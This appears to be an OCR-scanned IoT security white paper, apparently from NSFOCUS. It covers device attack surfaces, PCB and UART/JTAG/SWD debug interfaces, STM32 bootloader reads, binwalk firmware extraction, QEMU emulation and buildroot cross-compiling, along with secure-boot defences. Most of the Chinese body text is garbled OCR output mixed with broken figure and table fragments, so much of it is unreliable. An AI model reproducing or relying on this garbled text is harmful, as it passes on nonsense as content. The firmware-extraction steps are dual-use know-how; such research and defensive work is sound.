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1.1 #R

FEEMIERM (Internet of things, loT) BUMEMAR, EHRIKEEEEFSEEN, UERSE. TANEER
BXREWERIRE (UITEF “GaigE” = 0T 18E” ) ERMAHKMNHBEBEER. BRIRENAMREE
R—rES ANREEERT @EF), BRBLAFRDAZTLEMEARPHR T AU PSPk,

ERBFLRHNEGLEESE, B TR THBERANTIA", RASEWRESET L, BB,
BNHERGEE, BANESMERN—RH AR Y STEEIBE TR R, BRBEREER
HERRMMATAZE Y, BUAR, SEEEESIANRLEHARMTEETERNTEMER, ©HER
ELIBIEMNEIESHYIEMR, EETREREMNIAS RS,

EXXERERSTHNREEH, NARESREREREN AL ERRETWABRFEANER AT — I
TREBEEmRBRERE, RFERELXNERIRERIMERN T .

LRTASHBEILERANRE “CHEEREE <> ‘TRSHE <> “Boh&im APP” REAZRM Y, 13

B R PI BB D IR EE APP o

% BNRIHAPP =

o

IRERIR

Bohis APP BT IS5, Wi-Fi. ZigBee FHNEEERIRE, BRKRENBINERFRRENIIE LR
Aok (B $UE BES o

UBEEANG], BARTEEFILTHAPP. AMHAER; HER APP HEIRERER —HEARIMEE,
AIIEIER, APP RSRRAIREKECEWNL, JIRKA Wi-Fi HTUERE, A\ Wi-Fi 259800, BEKEREKMNE,
LAl APP TSR IS, MERGN A LUERSFME, B—ERBANBEREGR LEE SRUENER
SEEITRT

HYEREIRERARNE, REENTARAJERE TATNEA— TR, RAENERRENZ2MREE
MERBNE N T RETREF. AERTREASMEBEERRELRR. RS SRR APP. MEBE Y
BEENZ2EH, 25, SEAMETNADAERHMNER.
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1.2 BEKBFRIGEE
1.2.1 B

BEESEMBHANEE S N LLTLESD: CPU (X86/ARM/MIPS/PPC %) . W77 (SDRAM/RAM) | 774 (Flash/
TF £ /SD k£ /MMC £/ BE£) . WO, &0, USB OXBELLED (Wi-Fi/ I55F /ZigBee &) o

MREREIREREDERMRIP DREZ R RN, A PIRENRARERMEEN &M, Ll &
AT HERHERSEAE, AFREMRERED, BEHE0, ANEMONER USB O, XEEOR
R EERNFRIOFA, BEEMF. REOAABHMESTREMSZ

BRI RV ED

FpiEO
THEMZEO (EHEO: JTAG/SWD O; LMY : TFTP/FTP; BEMY)
BootlLoader F4k#% O
SD/TF £F4&iE0
USB F4&#%0O0

AidEO
W48 /USB HisEO
WEiREO (—A%A TTL &0; 75 telnet/SSH ML IMYE)

1.2.2 Bt

BRRENSTHRERFEMEN, BfPENRSHITSISHED, EAMRE Uboot, BN RESF
% CPU, ARM. Linux. MIPS. PowerPC #33z¥s, BIITEZFFEIBHINESD S RIFRFNZMER Linux.

TEHEEERERBHEMNELTRE:

- 377

X ES

Uboot Kernel FLASH FS RAM TS

Wk FE ik Nor FLASH NAND FLASH
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1.2.3 IEHE

OWASP, £ Open Web Application Security Project, ©2—MNSEMEINAL AN & FLFE A
FIERRAFRIIEEFIMALR, ZARREE X ITENNERXMNAZFNAE. Khr. BRABEIE .

=N
PNSm =)

BUR
W Ho

OWASP £H£H32 Y “loT Attack Surface Areas” ®, #%

BHEEIREEN. B rEEEs

WEH KB
YIREL
YERRIR

FEREORE
B2

SREXFEF CLI

FREY Admin CLI

LS e an
BEEEARLERS
BRRTEMEN R

%% ID/ BHISHE

BRI E
BIkS
BBRES AR
0 key

REEN (FREH)

REYIEEN

o

o o o o

REEH
BRER
U URL

o

(&1 1 Fe £

BREIR TR
BA A&
BES 25
B=HEIE
%R key

o

RERF

o
o
o

MEEE IR, FEXSHR)

SESWEHERS (Web, SSH, TFTP %)

KT BHFRNDRDERNERIFNE "8, $=8, ZXTEMN BIRIAGE, BRIZZE (

RRZEPH LN SRS, ABRES BREEYLRE R H

oo =

PaVoAl

HaeR

SRAEART 2018 RelE= LRI,
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1.3 #2oh&RiE APP &%

e, RZEEREE BB IA APP(EXHEI “APP” ) #1742 §ll, AP RILIE APP E#HITEM .
ERIKEREIREITHIFEIUEIF. APP pLIF LA B EEIRE A ST BIARM, NRWEE G APP 1EABME AL,
1k BrRIESBERREL2EH R

£ 2018 FF 10 A% GeekPwn 2018 EfR R EREAZTE L, Eael JBIBVEAE MBS, S3FiEFLLAPP fF
ANOR, 2EAWERNBFRE. BENE G, DEReEFEFEAZE, Sz, EF
ERARF A ENBRRE Wi-Fi B9IER MTH 7888 i

LRI, APP IRENBNERRERJARKREXER, FEEBNE, APP LARFENCHITHMRE
WAREDFAEDE. R APP R MmENZAH ITEAMNE, XEEMNBA-LBUNREEIA, 1
dex2jar’ Jadx®. apktool” %, REZFHAEIKENE APP HIAZDIRID, LZEREDRIPER KA iR SEEHE
WENISHIGEE. SECHINEEERE. B EFEE.

Se—EWEE, TEYIZELBE) APP RIREFAERN R :
1. BRENVFIRETE,
2. BERSMEE ;
3. BREERDINEEME,

4. MEFELRSEES.

1.4 cIRBmEZE
SRS IREIERI XL AN EE R, 455 OWASP 12 A7 “|oT Attack Surface Areas” , T EZ e X e EFE
TP A2, BESSRVERIAZRS . REAMSRETHNERE. BILHIA T (XSS). SQL JFENFKERE Session BIE%,

o, AL 2RIMEARS (NEAK G, FARmOMELRSKESE ). RZLERERED (WARENR
BRENRZ. RZReGEENRZLZ2HESF ) BHEMEENEEZNL R,
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1.5 WK BEMINE S

EBEGERSEDR, BT EESERIE. BiIRIE APP. TRJZEX=AEET LI, =FzENEN LS
WENRFRITBEHNEREE,

N THEBERERLREEEXR I EEIEREEERNEIAE. ZRRINIE. FREINE,

1. APP 5RIF—MGEE HTTP. HTTPS &S, AP NAMNBERERSINE, ISR EHIE;

2. RESTIH—MERA MQTT. XMPP. CoAP EWGE(E, B[R HTTP. HTTPS &5, 805 XAV
REREAREMCETEMN, FIRIRIR. Kl broadlink F;

3. APP Sig&EziEBE—MRAMEEELTANKHITEE, 1 ZigBee. Wi-Fi IRESFFo
HEIEB DY ZigBee. WirFi LIRS RIS SRA], SAEMME R TR LUTNE=MEARBRIEXLE:

®or Wi-Fi ZigBee
fEFAYMER 2.4—2.485GHz 2.4GHz A 5GHz FTE24GHz
Mg & T 1%
EmEE  2-30M 100-300M 10-100M
IhiE 1% = 1%
ERIRE TM/s 54M/s 250KB/s
=z = 1F% =
s 1. RI0FEE
1. IEEBEEREERE R e -
bt 1 EREET 2. {REE
fi= 2 %éﬁﬁmﬁ@ﬁ 2 (SRR 3 T
> LR 3. EBRUAES 4 BRD
' = 5 FIB4EAW
o y =R L mEA Zighee BRI 1%, ABRAL
3 DA 2 BEHNRFH 7 BN ER 4R

X2 MR Wi-F, ZRTMBEMRRARRFIEFRIPMNFAEENEXRE KRACK (ZEEER S,
Key Reinstallation AttaCKs) , ZiREE Wi-Fi B9 WPA2/WPA RIFIMN A SFER MG, WPA2/WPA 2B RI2IK
AT #Y Wi-Fi #URRENIN, BRI WPA2/WPA NIRBEIT, —PMEARBEERA—X, BEMRIEFRLI,
BTIRNERINZRFEE B0 ERIRES5 Wi-Fi BBHSRENEEEHIE, HEMAEEE) WhfE, aIUSE
ERARESFEA, B, WEEMRE T —NHERH, FMAXNHEESR, WEE DU WPA2 1Y, &
O Wi-Fi BIEEIR, IEMLRE. SFEENEREEERNREINTRES ),

BN EENBTOFHIGE, FHENE, A—BENZ2RAEN, JESEMETENGER,

2015 FHVNAKRHET ZigBee MWMVEREREEL, E15ET ZigBee MILEMBIE ERE mEAAL]
RS, E@dRXZ2MREINNDT, 2UE NEEBFETRHNERBE L, LA ERER, ERER
BACE NE 4 | X LA A RE B 1 S RUL BN EURME BB I E S g s dzs s



2.1 PCB 'TEE\LI&% ..................................................................... 10
22 TU"HEEIQﬁE .......................................................................... 12
D BB AT e 12

BRIMELASHNERIREETEFRIF LRBEE R
EHRER, FEHGE D UEZ B EMMFERIREC A 8959
IR, RIS TRSE, AEFEIEAAANARE
BAAN, HROBENERFEN.
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2.1 PCB S BUR%EE

PCB ( Printed Circuit Board) , FXRZFNENGIFBER, XIMENRILER, SEEBFEMT, 2BFTes
FFBYSIRIR,

BHRENE— S HREITFI&EINTE, BEUER PCB LWSH UREBEHRNEOWESHEE, NELE
WS,

2.1.1 PCB £E]

EIRIAGIE PCB BUEIZH, PCB ERILENN TIZIMAVIRE. WA TEHRTIRABEN. A, £~ 55
B E, ENAPREEAE, RMEABEERESRAER.

LUTERA], PCBIR EBERBRBIRE RX, TX, GND 5IHIUE, PRI LURBAZAVIRAIE UART (@
BEPWRLmes) #O, @Y UART WEHE R URIBIREUL SRR, UART B2EEFI15EINE 4.3 7,

212 5RER
BEENEHESEEIUMESRENEEPEINERERETOH IAAH (BEBHSERD) , N EF~

10
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BIVRBEZ L IMNHEFIRY 6 MEE IaBERS) , Fa0AENESER (UNST6X) , BIERS
ZE0] LI EIN NS/ T, EFMR R UERNZGA 8IS IENS A BE S T H A @I EABAR, PN
MAEX 6 MEEMSHSIHESEEEE (BETNK) o WREMESE Debug THRERIS I EREAE, A
DAE, ZEORARTHEFN, FXLE, ©F IN5169 FHERGANZEO, —HFENHRE 61

]
223
gz g
EZ
» (4]
= &
gag¢
Rete
= § T x
.. i3
3 EEE e EZ 2
-3 =288 c235 g
wmndl 9 800040088
index aren - 8 F O @ & F @ 6 8 O
/B3] (5] B B3] Bl &[5
CICIE/SPISMOSISIF_CLKICOMPIP |1 | |29] Vooo
DI T/SPISMISOISIE_DeomP e [7] [25] iormmoTAG_TouPwa
RESET N[3] [28] DIOBTXDOUTAG_TOOPWMZ
XTAL_OUT [2] [27| DIOSRTSOUTAG_TMSPWMIPCT
xmaL_m (5] [28] Diwe TsauTaG_TekmMoouTeC)
VB_SYNTH |8 | Jns1e 2]
= |6 | ﬁItf
ie.[7) [##] oioraspisewe
ve_veo|[#] [28] cicrwsPmics:
Vooa [2] [22| porsPiscPwl
1B (0] [27] vss
E1 B E ] F = [ E = [
382528888
5 e %G 3 $ 22 g
e € g Z86 %3
o TEEE]
z R B
a d8 a
a8 sER
8EEFS
i3k
£2E38
-
o o 9
(= =]
Transpanent op view a1 o

[3] UART programming mode: leave pin floating high during reset to avoid entering UART programming mode or hold it low to program.

2.1.3 PCB MNE=ZiY

1. BOTARENEEME, BIVFRIRIMEESFE PCB £E0. SHESE ERBMHRK, BIfRREXE
SR EBRE MBI A AR RIR I HAIERE, RIS THEFROBRR, ELHTEMER LA
ARIBE, NRWEEPET WO AIHE, @S2 LIILE EAY,

2. WRSHPEFERELEEEBIRSRIPEES, FTLUBTIRERFRIMEN, FEIRERAE, ML STM32f1 &
HgEMABIF, PILUETIEE RDP (Global Read-out Protection) ZF{FEsHUERENZT & A HLAEE flash
BRIPED,. HERARERIPIENN, fHRTNESEEEAET JTAG M UART ZOFERN, 2R,
MBI 4548, 7B Rl REIE S N AZF 1%k .

3. EAAERNBIINREINTHITRIP, XERIEEITH, WEERBEINBR RN ERKZE
AR Z MR N EHTE .

4. EIRETAMESCNI R, FRSFWER, FILUCNRLERE, fIMNLKEHTFERRSIKS, &
WX AE N5 BB I TIRIA IR & LA A

11
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2.2 8% EH
2.2.1 BARRIE

MEERER—FEHANEGREEA, WEECATRNERR (WMWEREL, NFEOMT, BHEETK
MEEER) KENEZEE, XEERAATEEERLE.

ANTHITMEERE, BRAHTESAE, B HEBEAREHITER, ARRNEEENER.

L g A i i =
2.2.2 TNEEK

MEBWERAERE, B2, UTER UK —EERERX LB E . FAIRETHAS R P
RGBT RNBAER, TIRBHIBSNNEST. SIENTHRVESIITAMAINIRE, LUEREEEREL
REUE Bo

2.3 REAKE

2.3.1 BAR[RIE

Wi Al LURERM DA R A 2 BRI, FMUDH, NRXEERLELINELE, RES
REEIRBER, HINMAZ

2.3.2 TNEZEN

ATBRARNRRER, FESRENNEZARTH, PRUNIZIRRIE EMEZEM B BIEZEH RIFFEHE
B R PSR

WMREAZH TPM, NAIFBERFEPMENEZRIN, XLEMNBEAERLURMIENEERZ 289088,
MIMBALEXS BENIIZANED . RS TPM TR MBI RE I 2RSS, FRETSTE 200ms it HE 2048 il RSA

&

12
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3.1 1&'_@11%1175 ...................................................................... 14
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33 {E—,_ﬁg@ .............................................................................. 20
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3.1 BlIfFFiEIIE

MIEHERER (LUB  BREERENHT) B, BFREFEEFMESET, LU5E CPU JIk. 52,
FELF. RenMARRBENESRIKEAME D PIL Tast AEFMEEIFBIES, SREREERHE
BREIRE LITFHREUE T

e B RBR RGN s
—{r R s | |wuesl—

B E M EFMESR T, BRAEN, ENENEEFEFMESRIE 0. s RrsiERRE
HASFGREVAE AN, PRUINIEES B EEMR KENRMLE, 4 BeBEtREEIEAUEER.

BRPABIMF e e, A—E R IS REIREN TR IR EIEHHEEER, #HMENSEIRENE
o —f%, EHEIRLEFENSN, JUEROMRKE: £l (EE) o8B (BE) .

3.1.1 £ E G FE

HIRENELLRE SR, FRFECTEFNRERANEENERINIVL, BARTEEBERIVITEMEE,
—iR B RIEE IR DA RLABLIR A, B EIBXERERNTEIRE.

SSIREN D ABMBERERANAE. —K&RMs, MABMSEIFREARNER (106 LLL) REMEIRER
g5, URERERANIERZT; M/IF2NSRERFED K ZELSNEHAIFIEREETT. ATHRERSR
ERNFEE, TIERI A (ST, NXP %) BRAREBTIAHENRNE RAM) , BE (Flash EREERTS.
IHEMIEFAEREFMESE) , CPU (TEZL) MINEED (BFRAMEIRERE) SlEI—NOAH, BFX
MO IEERTEREE. BISINEIRENERITH, XBIRAMEESISET (MCU) , B ERAEESS.

14
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WATCHDOG RAM FLASH —
TIMER 12 KB 512 kB MASTER AND SLAVE
: . 2-WIRE SERIAL
26 vomee | U U (O dimoremiae)
A i' RADIO BROWNOUT
328 4 X PWM
weLuoIG Risc cpu

DIVERSITY 0-QPSK :
<:> MODEM I]

=
: 4 kB
- 20 DIO
XTAL U FEPROM —v] PLUS 200
IEEEB02.15.4 I 4 SLEEP COUNTER |
MAG
ACCELERATOR
C} G CHAN
10 BIT ADC
128-BIT AES
POWER
ENCRYPTION BATTERY AND
MANAGEMENT ACCELERATOR K| Temp sensors

aaa-013128

MIREBEERLRY 32bit RISC CPU k&, HIULREAFILUARE 2432 F¥, HHHiE 4GB, ERNZMEH—E S
FHTE ROM #, L2 FLASH 3¢#& EEPROM #1, BEIRENEHS#®ES AN FLASH &7, EEPROM BTEE
RGBSR,

(nFFFFFFFF

OxFODDA0O0
RAM
OxFOD00000
x4 00B000
Shadow RAM
x04000000
Paripherals
002000000
Flash and
EEPROM Registers
00 000000
V00100000
Flash
Applications
Code
(512 kB)
LeELa i ]
Flash Boot Code & kB
000000000

asa-017150

W EEPRR, ERFHEA 4GB B=IB]N, FLASH XIgiAIihE=S (8] /9 0x00080000~0x00100000 (512KB) o
Hitt R Ee@I Rih 0%, IRENEIX A== (8RR IR, BRSEIEG T
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3.1.2 P BEREMHFiE

HEIEBARBNFREEETETFHEIRNEASEEN, | B —RIIMNEFHESRIITITR L, BEFME
&8 TED 3M, WUERE, LEMNKEDLUFARITNENFMESEIRRRER, BmABK, FMBEENR
FFRDEIR H B

BIRAFWFXLENA, BREFLREERRDENRR? Br@Ed 5 SMEERF (Bootloader) (& FI/A

JTAG/SWD Fiitiz, EHEIrRpNREEMERRE, HMRBEHRS. FBXMG ERINE FRIRR &M
ERENEEMEFMEE (ROM) RSERMEEING (RAM) FAYMIUEEE,

3.2 EHIREN A A
3.2.1 MKZFHALKEIX (FTP. HTTP)

T¢7F{REJL\H£ZK¢J@5%HXO SERKEHRNIALEN, FJLUBIMBIHLIENRERER, FEIERIEE
FBIREBARERIE, B RIAE TR IZIREE o

Bign, FEBELFA FTP @M A TUREE A #EITHLR, W0 FEFAR.

Res : ssword.
192.168. 191 2 ETP &9 Response: 23@ Login successful.
192.168.191.2 ETR 97 Response: 200 Switching to Binary mode.
192.168.191.2 FTP 183 Response: 250 Directory successfully changed.
192.168.191.2 FTP 116 Response: 227 Entering Passive Mode
192.168.191.2 FTP 185 Response: 15@ Here comes the directery listing.
192.168.191.2 FTP 90 Response: 226 Directory send 0K,
192.168.191.2 FTP 8o Response: 211 Goodbye.
192.168.191.2 FTP 95 Response: 228 Welcome to FTP service.
192.168.191.2 FTP 100 Response: 331 Please specify the password.
192.168.191.2 FTP &9 Response: 23@ Login successful.
192.168.191.2 FTP 97 Response: 200 Switching to Binary mode.
192.168.191.2 FTP 103 Response: 250 Directory successfully changed.
192.168.191.2 FTP 116 Response: 227 Entering Passive Mode TSR |
192.168.191.2 FTP 108 Response: 358 Restart position accepted (2877636).
192.168.191.2 FTP 146 Response: 158 Opening BIMARY mode data connection for A

REEIREMA HTTP BN A M ZIRREEI M # TR, W TNEFR.

192,168,42.18 10 58 Echa (ping) request 1d-ex1852, seq-9/@, Ttl-64 (reply in 377)
192.168.42.18 1w 98 Echa (ping) request id-Bx1852, seq-1/256, ttl=64 (reply in 389)
X TP 58 49155480 [SYN] Seqe@ Wineld000 Lonsd MSS=1408

TCP 54 39155438 ACK] Seq=l Ack=1 Win=12808 Len=8

192.168.42.9 TCP 54
192 .168.42.9 TP 54
192.168.42.9 TP 54 4915580 [MK] Seqe=250 Ack=H401 Win=7000 Len=0
L
54

50155 B0 [ACK] Seq=250 Ack=2501 Win-12600 Len-@
4915580 [ACK] SeqeiS9 Ack=5601 Win=988@ Len=g

192.168.42.9 TP 4915580 [ACK] 5eq-299 Ack-11201 Win-4200 Lan-9
192.168.42.9 TP 49155+88 [ACK] Seqe259 Ack=12588 Win=2B13 Len-@

16
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7= NSFOCUS

3.2.2 HEREFMECH

Brties B IR PROAFZAEEERTR, WTE,

ECEM AR E T BT,

CRFEBEE> CH A E S
A a4 o waen | Amew | R R BEE A |Eng|lsh|
B £ A ¥ ASAEELY T RAFASEE

E RN A gy ST
s fmmuw..ﬁ‘_TJ'_I

IRk M ) R A TR >

. (T MRk
3 f‘.:‘i5-| i 7 2R A e !

W i o bt 48

GhEde g A

Hir s it | %t
4G 45 b 4l (16 $) |0x0
FRLERE r SHEM FRiE
FExashiid TRYULFFREHLH
HrBh | Ry 1)
DT —H R
rikek>

waniy | ik
e 45 383 (162 1) [0%0 W itt#E&
1 4 b bt (168 #]) [0x0 I HAR &

E3 e | ik — sk b2t | it A

-
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BEERER DT FH

3.2.3 BEHBEOFBESLIREY

TEESTM32 255, B PC 51RE UART #O48E, ARFIABETEEN AR Bootloader SREXE -
EEAANTE:

ST REXTHE STM32 #7589 Bootloader B0 FHEIA:

BRI AEE STM32 851EHIAEE 525 ROM 77188 (RATFNESS) o EE7H5IH ST s, BT ZE
EES 2B T —FHa HHIETTINEG (USART. CAN. USB. 12C %) &1/ Bfe/F FEZAES Flash ., GFHHE1THE
OZBEX THEAGEE N, BPESFERHm<SEAFS, ~

T A FEEEF) A Bootloader B4miEirpIE 4 TR 158809 flash XIFH, Bootloader if B &SRBV E H
BYBES], Bootloader T2 Fo

USARTx Rx 515 I-
3] OXTF
v

it USARTx

Y
1335 % 1751
#i% ACK 7 13
SR
|

GET g4 GO %
A 4 ) A
GET GO
iR 1B fir 4 Bl
JP to_Address

18
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MBERIELE, MR Bootloader X AVEIETT (—RBBEIEH LHSIMRSIRE) , EIWOF—ERF
BE—EFFmLIRESATR I —aTNBIROLEGS, FITHEXIIRE OREVFEARD @<, M=
BEVFHE S N EBFEE AN AN BURE, REERRYRIZ 0 N EFTR.

BN

T —y — X1 ™
AL TIRNLE) T WE (17 AR
- E%R (170 | B 1 T T

FIIF8 Bootloader BV ELfh MCU 975352610, BEMERE 75 H4EN T,
3.2.4 @ iE I O3EE

BEFBINERL, SRERAFLEHNFIANED, W0 JTAG/SWD 0. —AxE OERRT ZIFIRM
BoRMELIZERFIRBERMTR, PTU BRI T JTAG/SWD BBHEIR, HEHAETE PC LHp&IFREEITE LA
ESERViEN

F A SWD ZOMBECEMREAEINES, 1T PC MRS S IBIRILERNZEE S AW N FITo

S$T-Link V2'jSTM32P407ZCT6 MIMIREE ik,

Ry g7
iBidzdE O E SWORISIED ( IREIFE )
|| veczamen
SWDIo
SWELK
.
VCC-VCCa. 3
GND SWDIO-SWDI0
SRCLE-SWCLE
i GND-GND

2 1, WMST-Link VZIIVCCTH B9 A 4 L O M
3. VGG, & it G S

PC 5 X R EIMIERG, £F SWD ZORREMINALE, HBFMETE flash RAVEIRIREN N £-HEMHF
iR BRI HEERNMF, W J-Link REpIEFF. £ PC LETEENRMARE, PJUAEEERNEFE
BRENGIE. REEEE. B1TES. KREMRE, KIMEFEE.
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3.3 EHfEE

RNEEEIREEMNE, FECIEMTAESHIXM, BHFABRINA ERFoIRE, WrRILIERBG)
IR,

binwalk @IeENEHRFARN BN RERE, BINTERNIR binwalk, H &% devttys0 £ BN T https:/
github.com/devttys0/sasquatch,

BUTFA4E binwalk B A%
a) JFRENESES

binwalk -h
binwalk --help

b) EfHES1HE

binwalk firmware.bin

c) REEHF

binwalk -e firmware.bin

fEF -M 2T, BJLURYE magic BRIRMEFEFRINE M, PR -d EITEERIIRE, FINN 8.

binwalk -Me firmware.bin

binwalk -Me -d 6 firmware.bin

d) X
£ -W B8, WEIXEHTFRHE, HRERR hexdump BRETR, FBXRFER, LBERRNE.

binwalk -W firmware.bin firmware2.bin firmware3. bin

binwalk -W -block=8 -length=128 firmwarel.bin firmware2.bin

ceft Binwal

20
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7= 'NSFOCUS

e) BEIER

A -f IETEE HEX S, 5 -q —RERNNXENXGTIER, F stdout ki, TN, EREEXHE, B
BY stdout HitH, --csv BRI LUEERTE csv 18U HAE.

binwalk -f firmwar.log -q firmware.bin
TE NRSEIFRBMNCA TEEERNES, BEHRITIRIEINA B LS Bl 451,
3.4 EFINREIZEN
3.4.1 BIEEFRINEZSIAL
1= QTR RIZ I B RIERIAEITIEE,
B RIBEROZ FTP ARSS, LB SFTP RESRAE, FHHTHIBMEMINAIAIE,
MRF=FIERNE HTTP BRSS, FILIKA HTTPS BRERMAE, Ft{TEuR MBI AN,
T, BEIENE, BEURAMERBHERE
3.4.2 Rz
1 RS A S IHAA S5 S,
SKFB BGA ST A, B LU HIBRRIS A B3 1B, LU NI st O B AR

2. BBEER T LUBIRER LEREOR SN, FEREERIIENEORNES, NREBREH
g0, BWARERED, REBTRMEHFEEREFER T TNUERERED.
3.4.3 IREEETHIRERP

FEEEOAMIREIREFRP. MREIWOHIRE TN AEFEEXIEBIRERIFIRIE, WO MEITRRRIRIRIPRIE
AR LORENNEBFHELS, MARRIRIPEVIRIFR SEUD F FHERKIEBIRR. FrLL, XAh7574 BT LB LE Bl R B

3.4.4 B INESINE
ARG (MCU. MPU) NEREZEM T R EX I, FILUSINEZRAFRIE XX, EINR AR,
MBAFEXENZRMBIREE N, BTERREEER, FHirlRIERBE XA RAT AR,
MNAERERBFRIER B RS ERUERIETT. 40 NXP 89 iMX.283 RIS NERSEAEY HAB, HAB X T
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BEERER DT FH

U-Boot FREY—Ex i, AN4581 XAEHRE[IEXT HAB Rl T 2 B e 2RISR 2 A E A EIENH,

ry T +—{“start |
0x20 | Image Vector Table
0xC | Boot Data
0XC00| : «—{fded|
i DCD Table
+ Padding —{ventry |
Signed data

0X4000

Padding (optional)

v
*Depends on device

BEpfUERIATETEANES, BAEER, —EFTE—MRBLMIZ. NXP T —D CAW, BFY
BMREWNRIES, KU—HN—F. LPRFECAH (FIEEREFARENNG) , HASEREL, FIUK

HEERECT IR ARG R T, RIAFIERB & ASZ20E .
® «

.Q.#ﬁ. 52 &

*  Older U-Boot versions (v2016.09 and prior): Uncomment or add CONFIG_SECURE_BOOT to
the board configuration header.
#define CONFIG_SECURE_BOOT

*  Newer U-Boot versions (Since v2016.11): For defeonfig add CONFIG_SECURE BOOT=y or
select it in U-Boot menuconfig:

AEM architecture =-> Support i.MX HAB features

U-Boot BYThAER/ S IEHIREE, B LUET BRI SERERIZFHE A T ERWIEIAER U-Boots

22
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4.2 {EPLETT
4.3 1% & I
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4.1.1 QEMU

QWM%-EEEEE%-WﬁwmmﬁwmmW%EW&@%#ﬂEﬁEﬁEW&W%@%,TGMV
Linux £ & EfEMAT 72, Bochs, PearPCEHES5HIEM, EFREREHFLEFY, LI RENEBEFEENEFYE, B
KQEMU X MALRMIINIERSS, QEMU BEMEINEEa B S BNAERE,

QEMU MREBFFRMHAI, NHINRBZEMTECERSE B yun 5hoHE apt-get HORE],
IRV ERTIZCERE, XEL kail Z4GtA0):
apt-get install gemu-user-static
QEMU B AP RA AR FHEAHFIE TR,
(1) APER
AT QEMU RES BHABLE AR EI ARSI 4R IFHIIR LB Linux F2RE,
QEMU ZEZHEE & U T HRITIER !

gemu-s atem mips6del

gemu-shd4
qemu- hh4eh

tem-alpha
'ttm arm

gemu-s
tem-mb8k qemu
;tem-microblaze gemu-s em-xtensaeb

!]
qemu-x86_ 64

qemu-ppc qemu-system-mips64

AR THRITIEEN CPU 2RIIZFRY, REMEAXNHN QEMU 2F, BIINiETT MIPS 2244 89/ imlid
B, FRUTHS:
: # gemu-mipsel ./hello
hello
(2) &R

ARV R LRI MEERSE, BERRGESELEMENRE, EREBEFaFAMERIERZFEME
8, WREBEMI T ABEA N,

24
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QEMU & 4 & 0 &8 © & U 7 qemu-system-xxxx [options], & A it I & #H W T

BEIR iR

-kernel kernel.img fEEA kernel.img {EARNIZRE

-initrd initrd.img A8 initrd.img 1EIRIA LAY RAM BEEE
-hda hda.qcow2 /8 hda.qcow2 1ERHEE SRR
-append cmd R cmd TERMIZER 1T

-nographic 2 FEF S

A LLTE https://people.debian.org/~aurel32/gemu M s ™ E EN XT3 R[E CPU ZR#HY debian I#{ER L, HA
BEARRE CPU B2 NN X RS,

€& = (C | & hitps://people.debian.org/~aurel32/gemuy/

Index of /~aurel32/gemu

Hame Last modified Size [escripticon

a Parent Directo =

EJ amdfid/ 2014-01-06 18:29 =
Ea armel/ 2014-01-06 18:29 -
EB armhfy 2014-01-06 18:29 -
Eﬂ 1386/ 2014-01-06 18:29 =
Eﬂ kf reebsd—amdéd/ 2014-01-06 18:29 =
Eﬂ kf reehad—1 386/ 2014-01-06 18:29 =
Eﬂ mipsd 2015-03-15 19:07 2
E] mipzel/ 2014-06-22 09:55 =
Eﬂ Dowerpo 2014-01-06 18: 28 =
EB shd/ 2014-01-06 18:28 -
EB sparc/ 2014-01-06 18:28 -

Apache Server at peaple.debian.org Port 443

X R T RMKNIERNEY, FINREMRINNILARAR 2.6.32-5 £ armel 22HI8Y debian HERLETAI L
PATITRS:

gemu-system-arm -M versatilepb -kernel vmlinuz-2.6.32-5-versatile -initrd initrd.img-
2.6.32-5-versatile -had debian_squeeze_armel_standard.qcow2 -append "root=/dev/sdal"
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4.1.2 XX RIFIFIE

R X #4mi%E (cross-compilation) 2%, EENENFE L (bINPC £) BRNmFRRmFEHIEEMFS L (b
W ARM E) EITRRAE R R,

—M%fsE A buildroot ¥ arm. mips XX 4RIFIFIE
1. T# buildroot,

2. Make menuconfig

Make menuconfig Bc & RmE i TE:

root@kali: ~/tools/buildroot-2016.11.2 e 0 o

File Edit View Secarch Terminal Help

/root/tools/buildroot-2016.11.2/.config - Buildroot 2016

Buildroot 2016.11.2 Configuration
Arrow keys navigate the menu. <knter> selects submenus ---> (or empty
submenus ----). Highlighted lellers are holkeys. Pressing <v=
selectes a feature, while <N= will exclude a feature. Press
<Esc><Esc> to exit, =<?> for Help, </> for Search. Legend: [*] feature

|l Target options --->)
Build options ---=
Toolchain =
System configuration ---
Hernel i
Targel packages ---=
Iilesystem images --->
Bootloaders --->
Host utilities --->
Legacy config options --->

= Exit > < Help > = Save > < Load >

Target options I T, EZFPIFRIME, 0 ARM. MIPS, FikiZEA/Nig:

root@kali: ~/tools/buildroot-2016.11.2 @ ® O

config - Buildroot 2016.11.2

Target Architecture
Use Lhe arrow keys Lo navigale Lhis window or press Lhe
hotkey of the item you wish to select followed by the <SPACE
BAR>. Press <7?> for additional information about this

1386

mEB8k

Hicroblaze AXI (little endian)
Microblaze non-AXI (big endian)
MIPS (big endian)

M)EMTPS (little endian)

<Select
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6% Target Architecture Variant %31, 5 Target Architecture XYL :

root@kali: ~ftools/buildroot-2016.11.2 e 6 o

File FEdit View Search Tarminal Help
f ; config - Buildr

chitecture riant
lse the arrow keys lo navigale Lhis window or press Lhe
hotkey of the item you wish to select followed by the <SPACE
BAR>. Press <?> for additional information about this

[m Generic MIPS32

Generic MIPS32R2
Ganeric MIPS3ZR5
Generic MIPS3ZR6
interAptiv

H5156

< Help >

Toolchain W Kernel Headers BEEFES B D EN—HI Linux NiZArZs:

roct@kali: ~/tools/buildroct-2016.11.2 e o 0

File FEdit View Search Terminal Help
ot/tools/buildroot-2016.11.2/.config - Buildroot 2016.11.2 Configuration
hain
Toolchain

Arrow keys navigate the menu. =<Cnter> selects submenus ---= (or empty
submenus ----). Highlighted lettars are hotkays. Prassing <Ys
selectes a feature, while <N= will exclude a feature. Press
<Esc=<Esc> to exit, =i= for Help, </= for Search. Legend: [*] feature

Toolchain type (Buildroot toolchain) --->

*** Toolchain Buildroot Options ***
(buildroot) custom toolchaln vendor name

library (uClibc-ng) --->

*#* Kernel Header Options ***

Kernel lleaders (Linux 4.1.x kernel headers) ---

REICE bt DR EiongsMs
(package/uclibc/uClibec-ng.config) uClibc configuration file to us
() Additional uClibc conflguration fragment files
[ 1 Enable RPC support

<Exit > <Help> < Save> < Lload >

3. Make

BTG, 1517 make a8, HmIFHEIRK. HMFRMEERHFRFE output R To
4. EIFRERF

5 /output/host/usr/bin/ B T mipsel-linux-gcc 4RiF4R MIPS 2%
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4.2 IRINETT
BB ZE, FLBEM N B iR m TR RIS
4.2.1 BXHRIABTT

2R B USRS TRYBHER e XA 5 R, LARRE s El(F A
1. 8 binwalk s> R R HEIX I RGTRENE Ko

root@mask:~/lab# binwalk -e
miwifi_r31_firmware_d5c5c_2.14.25.bin

root@mask:~/lab# 1s
miwifi_r31_firmware_d5c5c_2.14.25.bin
